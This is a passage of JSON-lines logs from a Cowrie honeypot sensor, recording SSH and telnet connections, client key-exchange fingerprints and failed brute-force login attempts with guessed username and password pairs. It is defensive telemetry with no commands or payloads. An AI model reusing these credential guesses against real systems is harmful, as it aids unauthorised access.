a2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:37:44.821450Z","src_ip":"171.25.158.70","session":"e89c40aa9c31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"system","message":"login attempt [postgres/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:37:45.310540Z","src_ip":"171.25.158.70","session":"e89c40aa9c31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:37:46.424662Z","src_ip":"171.25.158.70","session":"e89c40aa9c31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.589505195617676,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:37:49.147933Z","src_ip":"103.139.59.209","session":"b9fd45146f0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":36717,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f04042054a2","protocol":"ssh","message":"New connection: 2.57.121.112:36717 (10.17.0.5:22) [session: 0f04042054a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:37:58.189691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:37:58.193997Z","src_ip":"2.57.121.112","session":"0f04042054a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:37:58.297731Z","src_ip":"2.57.121.112","session":"0f04042054a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"20061975","message":"login attempt [admin/20061975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:37:58.787932Z","src_ip":"2.57.121.112","session":"0f04042054a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"200580","message":"login attempt [admin/200580] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:37:59.896215Z","src_ip":"2.57.121.112","session":"0f04042054a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"200493","message":"login attempt [admin/200493] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:38:01.003716Z","src_ip":"2.57.121.112","session":"0f04042054a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"200486","message":"login attempt [admin/200486] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:38:02.110968Z","src_ip":"2.57.121.112","session":"0f04042054a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"200475","message":"login attempt [admin/200475] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:38:03.222088Z","src_ip":"2.57.121.112","session":"0f04042054a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:38:04.329854Z","src_ip":"2.57.121.112","session":"0f04042054a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.128.120.127","src_port":56018,"dst_ip":"159.203.135.109","dst_port":23,"session":"b72883cf8499","protocol":"telnet","message":"New connection: 67.128.120.127:56018 (159.203.135.109:23) [session: b72883cf8499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:38:16.499987Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57140,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd785755fa05","protocol":"ssh","message":"New connection: 159.203.92.129:57140 (159.203.135.109:22) [session: fd785755fa05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:38:19.000822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:38:19.004231Z","src_ip":"159.203.92.129","session":"fd785755fa05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:38:19.007728Z","src_ip":"159.203.92.129","session":"fd785755fa05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"1234qwer","message":"login attempt [1234/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:38:19.018884Z","src_ip":"159.203.92.129","session":"fd785755fa05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:38:20.026884Z","src_ip":"159.203.92.129","session":"fd785755fa05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":34180,"dst_ip":"10.17.0.5","dst_port":22,"session":"1877a7bc087d","protocol":"ssh","message":"New connection: 27.119.7.6:34180 (10.17.0.5:22) [session: 1877a7bc087d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:38:27.037937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:38:27.042355Z","src_ip":"27.119.7.6","session":"1877a7bc087d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:38:27.226069Z","src_ip":"27.119.7.6","session":"1877a7bc087d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"Abcd1234","message":"login attempt [git/Abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:38:27.977089Z","src_ip":"27.119.7.6","session":"1877a7bc087d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:38:29.159146Z","src_ip":"27.119.7.6","session":"1877a7bc087d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":46388,"dst_ip":"10.17.0.5","dst_port":22,"session":"89369c5c762b","protocol":"ssh","message":"New connection: 171.25.158.70:46388 (10.17.0.5:22) [session: 89369c5c762b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:38:32.501870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:38:32.506569Z","src_ip":"171.25.158.70","session":"89369c5c762b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:38:32.614967Z","src_ip":"171.25.158.70","session":"89369c5c762b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysqlmysql","message":"login attempt [mysql/mysqlmysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:38:33.112115Z","src_ip":"171.25.158.70","session":"89369c5c762b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:38:34.223576Z","src_ip":"171.25.158.70","session":"89369c5c762b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44190,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8b3fbf54ac6","protocol":"ssh","message":"New connection: 159.203.92.129:44190 (159.203.135.109:22) [session: d8b3fbf54ac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:39:03.170733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:39:03.180456Z","src_ip":"159.203.92.129","session":"d8b3fbf54ac6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:39:03.184826Z","src_ip":"159.203.92.129","session":"d8b3fbf54ac6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"1qaz2wsx","message":"login attempt [1234/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:39:03.220688Z","src_ip":"159.203.92.129","session":"d8b3fbf54ac6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:39:04.438217Z","src_ip":"159.203.92.129","session":"d8b3fbf54ac6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":60830,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e72fee9021c","protocol":"ssh","message":"New connection: 171.25.158.70:60830 (10.17.0.5:22) [session: 8e72fee9021c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:39:22.829013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:39:22.833865Z","src_ip":"171.25.158.70","session":"8e72fee9021c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:39:23.012250Z","src_ip":"171.25.158.70","session":"8e72fee9021c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"Ali123","message":"login attempt [ali/Ali123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:39:23.511941Z","src_ip":"171.25.158.70","session":"8e72fee9021c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:39:24.624403Z","src_ip":"171.25.158.70","session":"8e72fee9021c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46070,"dst_ip":"159.203.135.109","dst_port":22,"session":"68048f95bc6a","protocol":"ssh","message":"New connection: 159.203.92.129:46070 (159.203.135.109:22) [session: 68048f95bc6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:39:47.483185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:39:47.486772Z","src_ip":"159.203.92.129","session":"68048f95bc6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:39:47.492097Z","src_ip":"159.203.92.129","session":"68048f95bc6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"456123","message":"login attempt [1234/456123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:39:47.504194Z","src_ip":"159.203.92.129","session":"68048f95bc6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:39:48.509399Z","src_ip":"159.203.92.129","session":"68048f95bc6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":39540,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e21ff6cf45c","protocol":"ssh","message":"New connection: 171.25.158.70:39540 (10.17.0.5:22) [session: 4e21ff6cf45c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:40:13.128205Z"}
